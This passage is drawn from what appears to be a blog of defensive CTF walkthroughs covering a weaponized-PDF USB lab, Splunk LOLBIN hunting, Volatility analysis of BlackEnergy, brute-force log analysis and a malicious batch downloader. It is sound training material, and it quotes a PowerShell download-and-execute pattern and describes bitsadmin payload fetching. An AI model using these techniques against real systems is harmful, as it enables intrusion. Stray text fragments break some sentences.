Notice how there is a single number (1) next to /OpenAction? This means there is only one object with an OpenAction. While we don’t have to analyze the OpenAction directly for this challenge it’s good to understand why this is considered risky. Open actions are triggered when a PDF file is opened and could be abused by a bad actor to execute JavaScript, open a file/web page, etc. With all of this evidence, it seems that the USB drive is the initial access vector for this attack.

Conclusion:

Mission accomplished! Let’s do a quick recap. We’ve successfully examined the USB drive’s Autorun.inf file and discovered that it launches README.pdf. Then we used VirusTotal to determine that the file is malicious, likely a backdoor trojan. After that, we used Didier Stevens’ pdfid.py, and pdf-parser.py to look more closely at the structure of the PDF where we found some suspicious OpenActions targeting Microsoft Windows. With the objectives completed, let’s close out this walkthrough of the Suspicious USB Stick challenge!

A big thank you to Blue Team Labs Online for another interesting challenge! I picked this lab for this week when I realized I have never had an occassion to analyze a USB drive. While this turned into light analysis of a PDF it was still a fantastic opportunity to explore the relation between autorun.inf and a weaponized PDF document. Any opportunity to practice with Didier Stevens’ PDF tools is always a good thing to keep in the rotation as the question of “is this PDF safe?” comes up often in the real world. I hope you had fun and learned something too!

If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Trend Micro — Autorun: https://www.trendmicro.com/vinfo/in/security/definition/autorun#:~:text=INF.,the%20infected%20drive%20is%20accessed.

VirusTotal: https://www.virustotal.com/gui/file/c868cd6ae39dc3ebbc225c5f8dc86e3b01097aa4b0076eac7960256038e60b43

pdfid.py: https://blog.didierstevens.com/programs/pdf-tools/

Wikipedia: https://en.wikipedia.org/wiki/List_of_file_signatures

Lenny Zeltser — Analyzing Malicious Documents Cheat Sheet: https://zeltser.com/analyzing-malicious-documents/

Adobe Open Actions: https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html

MITRE ATT&CK — Replication Through Removable Media (T1091): https://attack.mitre.org/techniques/T1091/

TryHackMe — Benign Challenge Room Walkthrough

Sun, 29 Sep 2024 00:00:00 +0000

TryHackMe — Benign Challenge Room Walkthrough

An Endpoint Forensic Investigation using Splunk

Image Credit: https://tryhackme.com/r/room/benign

Introduction:

Imagine this: You’re on the front lines of your organization’s security team when suddenly, intrusion detection alerts start firing from an endpoint, indicating discovery and persistence activity. You need to dive into your security logging platform, investigate the logs, and contain the threat. If this sounds like a thriller you want to be part of, you’ve stumbled upon the right blog!

Welcome to my weekly walkthrough! This week, we’re tackling the Benign room from TryHackMe. Using the Splunk data and logging platform, we’re going to investigate a compromised endpoint, but we only have the process execution logs (Event ID: 4688) ingested into the platform. Together, we’ll analyze the logs to find the compromised endpoint and then uncover how the malicious payload was downloaded onto the system, where it was hosted, and how it bypassed the security controls to get there. Sounds like fun, right? Let’s get to it!

In the spirit of learning, I won’t be revealing any flags in this write-up, but I hope that this guide sets you on the right track — you got this! If you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback helps me improve and continue supporting your security journey. Thanks for reading!

Challenge Link: https://tryhackme.com/r/room/benign

Challenge Scenario:

One of the client’s IDS indicated a potentially suspicious process execution indicating one of the hosts from the HR department was compromised. Some tools related to network information gathering / scheduled tasks were executed which confirmed the suspicion. Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index win_eventlogs for further investigation.

Question 1: How many logs are ingested from the month of March, 2022?

Let’s dive right in and start by getting an overview of how many logs have been ingested by Splunk in March 2022. First, we’ll open the Search & Reporting App from the left side of the dashboard:

Once inside of the Search tab, we’ll need to select the correct index that we want to query. Remember from the challenge scenario that the captured process execution logs were ingested into the win_event_log index.

Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index win_eventlogs for further investigation.

So, to answer Question 1 we’ll need to find the total number of events ingested in March 2022. To do that we’ll first input the index name we want to search, then hit the date/time button to change the search range. Let’s select a Date Range between 03/01/2022 and 03/31/2022 and then press Apply.

This will show us the total number of events during the selected date range to answer Question 1.

Question 2: Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?

Okay, before diving into the logs again let’s pull back and review the information provided to us. We have a list of usernames and their corresponding departments which will be our point of comparison for “real” users versus “imposter” users.

About the Network Information

The network is divided into three logical segments. It will help in the investigation.

IT Department

James

Moin

Katrina

HR department

Haroon

Chris

Diana

Marketing department

Bell

Amelia

Deepak

Now that we have the correct index and date range selected already, let’s start to analyze the data.

To answer Question 2, we need to look at all the usernames captured within the ingested data. For that, we can leverage the stats command to display all the aggregated usernames from the UserName field.

win_event_log | stats count by UserName

This will show us all 11 of the UserNames in the data! After a comparison with the provided users list, we’ll find one that looks similar but not quite right…

Question 3: Which user from the HR department was observed to be running scheduled tasks?

Alright, to find the answer to Question 3 we’re going to search for evidence of persistence by looking for scheduled tasks activity within the HR department.

Since Splunk only has ingested logs for the process execution events we’ll need to use the name of the scheduled tasks executable in our search — schtasks.exe

win_event_log schtasks

This will return 87 scheduled task events, but we can speed up our analysis by looking at the usernames that appear in these events by selecting UserNames from the selected fields header.

This shows us four usernames appearing in the data set, so let’s just match the visible entries against the HR department list and see which user appears…

HR department

Haroon

Chris

Diana

Okay! Now we’re going to dive deeper into our analysis and look for indicators of how the actor brought the payload/tools into the environment.

The first thing to do is narrow down our search scope and only view the logging data for the HR department users. Remember, we already have a list of all HR users from the previous question so all we need to do is format our query to include only those users:

win_event_log UserName=Daina OR UserName=“Chris.fort” OR UserName=“Haroon”

But even with the tighter search scope, we still have too many logs to go through manually.

Next, we need to drill down even further by searching for activity related to living off the land binaries (LOLBINS). For some background, LOLBINS are legitimate Microsoft-signed binaries that are native to Windows which could also be abused to perform some unintended activity by an adversary.

Fortunately, we don’t have to know these off the top of our heads and we can instead refer to the living off the land binaries and scripts (LOLBAS) repository on GitHub!

LOLBAS _contribute, check out ourcontribution guide. Ourcriteria list sets out what we define as a LOLBin/Script/Lib. More…_lolbas-project.github.io

While the LOLBAS repository is a great start, we still need to find the exact tool within the list. Let’s work a little smarter and take a look at the MITRE ATT&CK knowledge base and see if we can find some specific tools in Windows that are used for Ingress Tool Transfer (MITRE ATT&CK T1105.)

According to the page for this technique:

On Windows, adversaries may use various utilities to download tools, such as copy, finger, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest.

Now if we cross-reference these utilities with the LOLBAS repository, we will find a couple of utilities to search for!

So, putting all of this together, we are going to use Splunk to search the win_event_log index containing known HR users, where the captured process command line (4688) matches one of the LOLBAS download methods that we validated with MITRE ATT&CK.

win_event_log UserName=Daina OR UserName=“Chris.fort” OR UserName=“Haroon” | search CommandLine="NAME OF LOLBIN"

And there we go — we found a hit in the logs! Look at the UserName field, this is the answer to Question 4. Keep this search result open as we are going to use it to answer the next few questions too.

Question 5: To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?

Fortunately, we already found the answer since the lolbin name was how we discovered the answer to Question 4.

Question 6: What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)

From the same event that we found in Question 4, enter the date from the Time column or the EventTime field from the event log — they are the same.

Question 7: Which third-party site was accessed to download the malicious payload?

In the CommandLine field, there is a visible URL in the command. The domain name is what we are looking for to answer Question 7.

Question 8: What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?

The file path the end of the C2 URL from the previous question points to an executable (.exe) file that is downloaded on the victim’s system.

Question 9: The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{……….}; what is that pattern?

Now that we have analyzed the suspicious event within Splunk, we need to start looking at the malicious content, but how do we do that? Well, the wording of this question is a bit confusing but since we do not have access to the suspicious binary within our ingested data, we’re going to pivot and gather some intelligence on the C2 URL instead.

Let’s start out by checking the C2 URL against VirusTotal to see if we can gather any information about it.

VirusTotal VirusTotalwww.virustotal.com

While the detection looks clean, let’s navigate to the Details tab to get some extra information. Navigate to the HTML Info section and check out the Meta Tags — notice anything interesting?

Is that a flag we see?

Question 10: What is the URL that the infected host connected to?

Okay, we’ve reached the last question, and it’s a straightforward one. The URL that the infected host connected to is the same one we used to answer Question 9. Simply copy, paste, and submit the final flag!

Conclusion:

A big thank you to TryHackMe for another awesome hands-on challenge! By leveraging Splunk, we’ve successfully identified the affected HR user and uncovered how a Living off the Land (LOLBIN) binary was abused to bypass security controls and download the malicious payload. Our investigation revealed that the payload was hosted on a suspicious URL, which we traced back to a compromised website with some interesting metadata.

The Benign room is a great opportunity to go hands-on with Splunk, exercise your research skills, and get familiar with the LOLBAS repository. As a defender, understanding how legitimate binaries are abused can help enrich your investigations and uncover the whole attack story. Personally, I find every opportunity to practice log analysis in a logging or SIEM platform helpful to keep my skills sharp and get the repetitions in with the tool. With the analysis of the logs completed, let’s wrap up this investigation!

Remember, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Splunk (Stats): https://docs.splunk.com/Documentation/Splunk/9.3.1/SearchReference/Stats

Microsoft Learn (schtasks.exe): https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks

MITRE ATT&CK — Ingress Tool Transfer — T1105: https://attack.mitre.org/techniques/T1105/

Microsoft Learn (Certutil): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil

VirusTotal: https://www.virustotal.com/gui/url/ec89f7db79c0760ecd6676a32feb5b0362526cbd491302ff3ad7bb0b640d21ce/details

CyberDefenders — BlackEnergy Lab Walkthrough

Sun, 22 Sep 2024 00:00:00 +0000

CyberDefenders— BlackEnergy Lab Walkthrough

Endpoint Forensic Investigation with Volatility 2

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/blackenergy/

Introduction:

Imagine this: an organization has suffered a cyber attack, and you’ve been handed a memory dump from an infected machine to investigate the incident. If this sounds like a thriller you want to be part of, you’ve stumbled on the right blog!

Welcome to my weekly walkthrough! This week, we’ll tackle the BlackEnergy Lab from CyberDefenders. Using the Volatility framework, we’ll dissect a memory dump of a device infected with a new variant of the BlackEnergy malware. We’re going to search for suspicious processes, hunt evidence of process injection, and uncover malicious DLLs to assess the scope and impact of this malware. Sounds like fun, right? Let’s get to it!

In the spirit of learning, I won’t be revealing any flags in this write-up, but I hope that this guide sets you on the right track — you got this! If you find this walkthrough is helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/blackenergy/

Challenge Scenario:

A multinational corporation has been hit by a cyber attack that has led to the theft of sensitive data. The attack was carried out using a variant of the BlackEnergy v2 malware that has never been seen before. The company’s security team has acquired a memory dump of the infected machine, and they want you, as a soc analyst, to analyze the dump to understand the attack scope and impact.

Setup the REMnux Analysis Environment & Extract the challenge file:

Safety first! It’s always important when working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using REMnux for this challenge and walkthrough.

To keep this write-up focused I’m going to skip the step-by-step setup of REMnux. If you’d like to set up your own REMnux environment please follow the directions provided by REMnux directly. For reference, I opted for the virtual appliance method:

Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org

Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: Which volatility profile would be best for this machine?

Let’s start out by extracting the challenge file with the password included on the challenge page.

Since the question mentions Volatility, let’s take a quick detour to get a refresher of what it is. According to the Volatility Framework website:

The Volatility Framework was developed as an open source memory forensics tool written in Python.

Meaning we will use Volatility to analyze the contents of the .raw memory dump provided to us. Now, there are a couple of versions of Volatility: Volatility 2.6 (The original, not in active development) and the latest, Volatility 3 (in active development) which are a little different.

For the purposes of this challenge, one of the key differences is that Volatility 2 uses " # "

profiles" to identify the operating system of the dump to accurately identify the locations of artifacts in memory. OS profiles like this aren’t used in Volatility 3.

Now what does this all mean? Well, Question 1 is asking about profile usage so going forward we know that the challenge will have us using Volatility 2 (which I am just going to call Volatility for the rest of the write-up).

With that background out of the way, let’s finally invoke Volatility and use the -h option to review the help file. This is a great idea to get an overview of what commands are available.

vol.py -h

We’re looking for a specific command that can help us determine which operating system profile we’ll use going forward. After reviewing the available options, we’ll find that imageinfo is the best choice.

vol.py -f CYBERDEF-567078-20230213-171333.raw imageinfo

After running the command against the memory dump, we’ll find the answer to Question 1 in the Suggested Profile(s) list.

Question 2: How many processes were running when the image was acquired?

Now that we know what profile to apply, we’ll need to analyze the memory dump and determine how many processes were running when the image was acquired. To do this, let’s review the Volatility help again to see if we can find a command that can display this data.

Let’s try the pslist command to display all the running processes and apply the profile we discovered in Question 1:

vol.py -f CYBERDEF-567078-20230213-171333.raw –profile=QUESTION-1-ANSWER pslist

Nice! The output shows the running processes so it should be a simple matter of counting them to answer Question 2, right? Well, almost. There is just one small detail to note. We are looking for running processes so the ones with a date/time in the Exit column or that have 0 threads are not actually running at the time of the capture, so we need to subtract them from the total.

Question 3: What is the process ID of cmd.exe?

Let’s continue analyzing the output generated with the pslist command. To answer Question 3, we’re going to focus on cmd.exe.

Once we locate the process name, we can check the process ID (PID) column to find the answer!

Question 4: What is the name of the most suspicious process?

To answer Question 4, we’ll continue examining the process list. Typically, some familiarity with normal Windows processes would be beneficial but fortunately for us, the suspicious process is obviously visible within the list.

Question 5: Which process shows the highest likelihood of code injection?

Okay, now we need to dig a little deeper with Volatility to locate the process with the highest likelihood of code injection.

First, let’s get some high-level background on what code injection is from MITRE ATT&CK (T1055) to better understand what we’re looking for exactly. According to MITRE, Process Injection is:

A method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

So, we’re looking for a process injected with malware running its memory space. Let’s see what Volatility commands are available to help us by referring to Volatility’s help file again and using grep to show us only the options with the word " # “inject"in them.

vol.py -h | grep “inject”

There are three options available! Let’s start with the m_alfind_ command at the top of the list. According to the Volatility command reference:

The malfind command helps find hidden or injected code/DLLs in user mode memory, based on characteristics such as VAD tag and page permissions.

Let’s run the command and see what we can find.

vol.py -f CYBERDEF-567078-20230213-171333.raw –profile=WinXPSP2x86 malfind

After going through the output, we’ll find a couple of processes but there is one that seems a little suspicious. Notice the ASCII string MZ and the corresponding hex (4D 5A)? This is the magic byte that indicates the file’s format. In this example it appears that a Windows executable is injected into this process — that’s probably not good.

But we don’t have a clear answer if this is malicious yet. Let’s do some additional research about malfind to understand if we are interpreting the results correctly.

Below is an excerpt from an excellent blog on Volatility forensics from security company Varonis:

As an incident responder when using €˜malfind’ if you see these values within a process then it is very likely you have identified a piece of malware that has injected itself into another process.

Okay, this gives us a bit more confidence that we’ve found the correct process to answer Question 5 but let’s perform one last check. We’re going to dump this process, check it against VirusTotal, and see if it is malicious or not. To dump the process, we can use the command below which specifies the PID (-p) of the malicious process and the output directory for the dump (-D).

vol.py -f CYBERDEF-567078-20230213-171333.raw –profile=WinXPSP2x86 malfind -p 880 -D

Now that we have a dump of the process, we can use the SHA256sum command to get the SHA256 file hash of the process.

sha256sum process.0x89aab590.0x980000.dmp

Finally, submit the hash to VirusTotal — the number of detection hits confirms that the process was injected with malicious code.

Question 6: There is an odd file referenced in the recent process. Provide the full path of that file.

Now that we have dumped the process and confirmed that it is malicious, let’s pivot and do some static analysis on the dumped file. To find the answer to Question 6, we’ll use the strings command from the terminal to pull out text inside of the file that we can analyze.

strings process.0x89aab590.0x980000.dmp

After running the strings command, scroll through the output to look for any " # "

odd” referenced files or paths.

Toward the end of the output, we’ll stumble across the highlighted path to a .sys file — this is the file we are looking for!

Question 7: What is the name of the injected dll file loaded from the recent process?

Now, let’s jump back into the Volatility help and see what options we have for analyzing DLL files. We can do the same method we did in Question 5 and _grep"dll"to see the available commands.

vol.py -h | grep -i “dll”

Let’s start with the dlllist option, focusing on the malicious process we found back in Question 5 to see if anything sticks out as suspicious.

vol.py -f CYBERDEF-567078-20230213-171333.raw –profile=WinXPSP2x86 dlllist -p 880

After a quick review, nothing seems obviously suspicious with the dlllist output. Let’s refer back to the Volatility Command Reference and see if we can discover more about another DLL command — ldrmodules.

There are many ways to hide a DLL. One of the ways involves unlinking the DLL from one (or all) of the linked lists in the PEB. However, when this is done, there is still information contained within the VAD (Virtual Address Descriptor) which identifies the base address of the DLL and its full path on disk. To cross-reference this information (known as memory mapped files) with the 3 PEB lists, use the ldrmodules command.

So, using the ldrmodules command might help us discover a hidden DLL which has been unlinked from all the lists in the Process Environment Block (PEB) which contains information about loaded DLLS.

Let’s try it and filter on the malicious PID:

vol.py -f CYBERDEF-567078-20230213-171333.raw –profile=WinXPSP2x86 ldrmodules -p 880

One of these DLLs is not like the others and is pretty suspicious. Notice the highlighted DLL is not present in any of the three linked PEB lists — I think we found our answer!

Question 8: What is the base address of the injected dll?

Okay, we’ve made it to the last question! How can we find the base address of the injected DLL we just uncovered? We know from the last question that the dlllist command doesn’t list the DLL. We also know that ldrmodules does list an address, but it’s too long to fit the answer format. What to do, what to do?

Well, let’s fall back to the malfind output that we used back in Question 5. Remember that there was an Address for the suspicious process listed? Let’s try that one…

Hey, that worked! Now that we have uncovered the base address of the injected dll, let’s wrap up this investigation.

Conclusion:

Mission accomplished! With the help of Volatility, we successfully identified the suspicious processes, hunted for evidence of process injection, and uncovered malicious DLLs to assess the scope and impact of this malware. With the objectives completed, let’s close out this walkthrough of the BlackEnergy Lab challenge!

A big thank you to CyberDefenders for another engaging and challenging lab. This lab was a great example of the importance of memory dump analysis during DFIR cases and showcased some excellent scenarios for analyzing memory artifacts. It’s been a while since I’ve worked with Volatility hands-on, and it’s always a fun and insightful to practice with the tool. This time was no different, especially since I had no previous experience with Volatility 2 and have only worked with Volatility 3 in the past, so there was an added learning component for me too!

Please don’t forget that if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

REMnux: https://remnux.org/

Volatility Framework Website: https://volatilityfoundation.org/the-volatility-framework/

Volatility GitHub: https://github.com/volatilityfoundation/volatility

Volatility Wiki Command Reference: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference

Volatility Wiki Command Reference — Mal: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal

VirusTotal: https://www.virustotal.com/gui/file/8638ab1e5f9ba4cffc66400d36d47f7805733fae828a0cace9421d0bd83eaefa

MITRE ATT&CK — Process Injection (T1055): https://attack.mitre.org/techniques/T1055/

Varonis: https://www.varonis.com/blog/how-to-use-volatility

LetsDefend — Brute Force Attacks Challenge Walkthrough

Sun, 15 Sep 2024 00:00:00 +0000

LetsDefend— Brute Force Attacks Challenge Walkthrough

Investigating a Brute Force Attack with Wireshark and Auth.log

Image Credit: https://letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! Imagine this: a web server has been compromised, and you’re handed a network packet capture file along with the server’s authentication log to figure out what was accessed and how it happened. If this sounds exciting to you, you’ve stumbled on the right blog!

This week’s mission is the Brute Force Attacks incident response challenge from LetsDefend. To solve this challenge, we’ll use Wireshark to discover the scope of a brute force attack, including the server’s IP, the targeted directory, the number of login attempts made, and which accounts were ultimately compromised. But that’s not all. Using the web server’s auth.log file, we’ll also determine if the attacker was targeting SSH and if they were able to brute force their way into any accounts. Sounds like a fun time, right? Let’s get to it!

And hey, if you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!

Challenge Link: https://app.letsdefend.io/challenge/brute-force-attacks

Challenge Scenario:

Our web server has been compromised, and it’s up to you to investigate the breach. Dive into the system, analyze logs, dissect network traffic, and uncover clues to identify the attacker and determine the extent of the damage. Are you up for the challenge?

Question 1: What is the IP address of the server targeted by the attacker’s brute-force attack?

Let’s get going! The first thing we need to do is extract the BruteForce.7z archive from within the ChallengeFile folder on the Desktop. Once it’s extracted, we’ll have two evidence files:

BruteForce.pcap
auth.log

The first file, BruteForce.pcap is a network packet capture file that we can open with Wireshark. The second, auth.log, is the web server’s authentication log that will help us find successful and failed logins. Throughout this investigation, we’ll use both the web server log and the network traffic log to investigate.

To tackle Question 1, let’s check out BruteForce.pcap first. We can double-click the file to open it Wireshark where we can start to analyze the packets.

Since there are thousands of packets to sort through, let’s start with a birds-eye view to understand what the IP addresses have the most traffic. This will help us narrow down which addresses we want to analyze further.

To do this in Wireshark let’s utilize the Statistics > Endpoints > IPv4 view. This will provide a summary of all the IPv4 addresses in the pcap.

Using this view, we see several private IP addresses (192.168.190.x) and several public IP addresses. But notice the number of packets — there are only two IPs responsible for the overwhelming amount of traffic.

Remember, we’re looking for the target IP address of a web server which are usually internet-facing. Using our powers of deduction, the target server is the one with the public IP address of 51[.]116[.]96[.]181.

Question 2: Which directory was targeted by the attacker’s brute-force attempt?

Okay, now that we know the IP address of the web server let’s do some further investigating in Wireshark.

Since web servers typically accept connections on ports 80 (HTTP) and 443 (HTTPS), let’s use Wireshark’s filter toolbar focus on the HTTP protocol. This will let us see the captured HTTP requests sent to the server.

After filtering for HTTP, we now see hundreds of HTTP POST requests sent to the web server targeting the index.php directory.

Question 3: Identify the correct username and password combination used for login.

Yikes! Based on the question, the attacker was able to find a valid username/password combination and gained access to the server.

To answer Question 3, we have to find the credentials used for authentication within the pcap. Fortunately, we can find this information quickly by leveraging Wireshark’s search function to search the packets for a keyword.

But first, we need to figure out what we are searching for exactly. For each HTTP POST request, the web server returns a response. Look at any of the responses sent from the server:

Each incorrect response returns the message >incorrect in red. So, maybe correct responses return >correct? Let’s find out! Rather than manually review all these records, let’s finally use Wireshark’s search functionality.

Press CTRL + F or press the magnifying glass to bring up the find/search bar, then select String, and finally select Packet details so we can search within the middle " # “packet details"window.

Now enter >correct into the search box.

Hey, we’ve got a hit! Now, right-click the packet and select Follow > HTTP Stream.

With visibility into the complete HTTP Stream of the " # "

correct” login, we can now identify the username and password sent in the POST request to the server!

Question 4: How many user accounts did the attacker attempt to compromise via RDP brute-force?

Now let’s determine how many usernames the attacker tried to brute force. To do this, let’s adjust our filters to narrow the scope from all HTTP traffic to only show the HTTP POST requests to the web server.

http && ip.dst==51.116.96.181

Do you see that each one captured a username form item?

Scrolling through the packets, we will see a few user accounts listed, but we can search much more efficiently with another method outside of Wireshark. To start, we’ll export the displayed packets to a plain text file.

Press File > Export Packet Dissections > As Plain Text…

Now, choose a File name and press Save. This will export the packets we have filtered into a text file. For this walkthrough, I’ll call my output file HTTPexport.txt.

Now, we’ll open the terminal and use grep to search the text file, displaying only the lines matching " # “username"and then removing any duplicate entries.

cat HTTPexport.txt | grep -i “username” | uniq

Using this method provides us the total number of user accounts targeted by the attacker!

Question 5: What is the " # "

clientName” of the attacker’s machine?

Previously we focused only on HTTP protocol traffic. Now we need to zoom out and search the rest of the pcap since the attacker’s machine name is not available in the HTTP request data.

But what are we looking for exactly? Let’s take the question literally and perform a search for the string " # “clientname"like we did back in Question 3.

This search will identify Remote Desktop Protocol (RDP) traffic directed towards the web server. In the packet details pane, the attacker’s client name will be visible in the clientName field of the Remote Desktop Protocol ClientData.

Question 6: When did the user last successfully log in via SSH, and who was it?

Now, rather than focus on HTTP or RDP events like we have in the previous questions, we’re going to look for Secure Shell (SSH) events — there’s just one problem, we can’t find them in Wireshark. That’s Okay! For this task we’ll pivot to the second challenge file, auth.log.

Open the log file in any text editor. Once it’s open, we’ll simply use the built-in search/find tool and look for ssh.

There are thousands of hits! Let’s review some of the ssh logging events and observe that successful login attempts contain the string " # “Accepted password"along with the username, IP address, and source port.

This means we can search the log for entries containing " # “Accepted password"to determine how many times the attacker logged and then navigate to the last result (it’s in ascending order) to find the last login and answer Question 6.

Question 7: How many unsuccessful SSH connection attempts were made by the attacker?

From the information we gathered in Question 6, we know that successful ssh logins generate an " # “Accepted password"log entry, but you also may have noticed that unsuccessful logins generate a " # “Failed password"entry.

So, let’s just simply search in the text editor for " # “Failed password"which should give us the total number of failed login attempts captured in this log!

Question 8: What technique is used to gain access?

Okay! We’ve now analyzed the HTTP, RDP, and SSH traffic and determined that the attacker tried thousands of guesses over these different protocols to gain access to the web server. With the sheer number of attempts, we can conclude that the web server was the victim of a brute force attack.

Let’s pivot to MITRE ATT&CK, a popular knowledge base of adversary tactics, techniques, and procedures to get more information and find the correct MITRE ID for this technique…

Brute Force _Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password…_attack.mitre.org

Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.[1] Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.[2] Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.

Now that we have located the correct technique ID from MITRE ATT&CK, let’s submit our answer and wrap up this investigation!

Conclusion:

Great job! Going through this investigation, we’ve gathered the required evidence and scoped the damage caused by this brute force attack. With Wireshark, we started to paint a clearer picture of the attacker’s brute force methods and targets by pinpointing the server IP, the specific targeted directory, the number unsuccessful and successful login attempts made, and the compromised accounts. Then, by examining the web server’s auth.log file, we were able to determine the full scope of the SSH brute force attack including the number of successful and unsuccessful logins and what credentials were compromised.

A big thank you to LetsDefend for creating another cool and engaging challenge. The sheer volume of events generated during a brute force attack makes searching through the data all the more difficult, so this challenge was really helpful to practice log analysis in the context of a brute force attack. Personally, I hadn’t had much exposure or need to look through Linux auth.log files before. After seeing how much valuable information they hold, I will definitely remember this one during future Linux investigations. I also pick up something new every time I go hands-on with Wireshark. This time, seeing what packet details are available in the HTTP POST responses was really fascinating. Thanks for reading along!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Wireshark: https://www.wireshark.org/

Wikipedia — POST (HTTP): https://en.wikipedia.org/wiki/POST_(HTTP)

MITRE ATT&CK — Brute Force (T1110): https://attack.mitre.org/techniques/T1110/

LetsDefend — Batch Challenge Walkthrough

Sun, 08 Sep 2024 00:00:00 +0000

LetsDefend— Batch Challenge Walkthrough

Investigating a Malicious Batch Script with Notepad++ & Microsoft Learn

Image Credit: https://app.letsdefend.io/challenge/batch-downloader

Introduction:

Have you ever wanted to analyze a batch file to determine if it malicious or safe? If this topic sounds interesting to you, you’ve stumbled on the right blog!

Welcome to my weekly walkthrough. This week, we’re tackling the Batch Downloader from LetsDefend! This challenge has us security analysts dissecting the content of a malicious batch file (.bat) to better understand what it does.

To perform the investigation, we’ll use Notepad++, a powerful text editor_,_ to examine the file_._ We’ll also leverage Microsoft Learn documentation to cross-reference our findings, giving us valuable background and context to fully understand the script’s behavior. Sounds like a fun time, right? Let’s get to it!

Challenge Link: https://app.letsdefend.io/challenge/batch-downloader

Challenge Scenario:

A malicious batch file has been discovered that downloads and executes files associated with the Laplas Clipper malware. Analyze this batch file to understand its behavior and help us investigate its activities.

Question 1: What command is used to prevent the command echoing in the console?

Let’s kick off our investigation! Before diving into the challenge file, it’s always a smart idea to understand what tools are available to us for analysis. To check what we have, we can open the Tools folder on the Desktop of the analysis virtual machine.

For this challenge we will be analyzing a Batch File (.bat) which is a type of command shell script that is used in Windows environments. As the batch file can be opened and edited in a plaintext editor, we will be using Notepad++ for the analysis.

Now, let’s navigate to the ChallengeFile folder and extract the 1.zip archive. Inside will be another nested file, go ahead and extract that one too so that we can access the malicious .bat file.

Finally, let’s open the batch file with Notepad++ so we can begin analyzing the contents.

To answer Question 1, we’re looking for the command that prevents echoing to the console. Focusing on Line 1 in the script we’ll see the following:

@echo off

This parameter prevents all of the commands in the script from being displayed to the console which will obfuscate what the script is doing.

Question 2: Which tool is used to download a file from a specified URL in the script?

Okay, to answer Question 2, we’re going to focus on Line 2 of the script.

Quickly scanning Line 2, we see some evidence of download activity including a URL, so we’re looking in the correct spot.

Let’s getting a better idea of what the bitsadmin command is and how it can be used to perform download jobs. Below is a description of Bitsadmin from Microsoft Learn:

Bitsadmin is a command-line tool used to create, download or upload jobs, and to monitor their progress. The bitsadmin tool uses switches to identify the work to perform.

So, Bitsadmin uses these switches with the syntax below to perform transfer jobs:

bitsadmin transfer _Reference article for the bitsadmin transfer command, which transfers one or more files._learn.microsoft.com

bitsadmin /transfer [] [/priority <job_priority>] [/ACLflags ] [/DYNAMIC]

With this bit of background, we can now confirm that bitsadmin is the correct tool being used to download the file. Let’s check our work and continue the investigation!

Question 3: What is the priority set for the download operation in the script?

Let’s continuing dissecting the bitsadmin command on line 2 and focus on the switches used.

Referring to the bitsadmin syntax from the previous question, we will see a /priority switch. According to the Microsoft Learn reference, there are a few options to set the priority of the download job:

priorityOptional. Sets the priority of the job, including:

FOREGROUND

HIGH

NORMAL

LOW

In the case of this script, the job is set to the highest priority, FOREGROUND.

Question 4: Which command is used to start localization of environment changes in the script?

To answer Question 4, we need to locate a command for localization. Let’s take a closer look at line 3 — setlocal.

Going back to Microsoft Learn for reference, we can confirm that the setlocal command " # “starts localization of environment variables in a batch file.”

Question 5: Which IP address is used by malicious code?

Fortunately, locating the answer to Question 5 is straight forward — an IP address is readily visible in line 2.

While this is the only IP address in the batch script, let’s gather some additional threat intelligence by checking it against VirusTotal to see if we can get any hits that it’s malicious:

Okay, we’ve got a number of hits that this IP address is malicious and even some community reports attributing it to the Laplas Clipper malware mentioned in the challenge scenario!

Question 6: What is the name of the subroutine called to extract the contents of the zip file?

All right, back to analyzing the script. This time, we’re going to focus on lines 5 & 10 since we are looking for an unzip operation to extract the file downloaded from the malicious IP from Question 5.

If we look at line 5 there is a call to :UnZipFile and then in line 10, we’ll see the parameters of the subroutine.

Without dissecting each line, we can infer that this is correct subroutine that extracts the contents of the .zip file downloaded from the malicious IP.

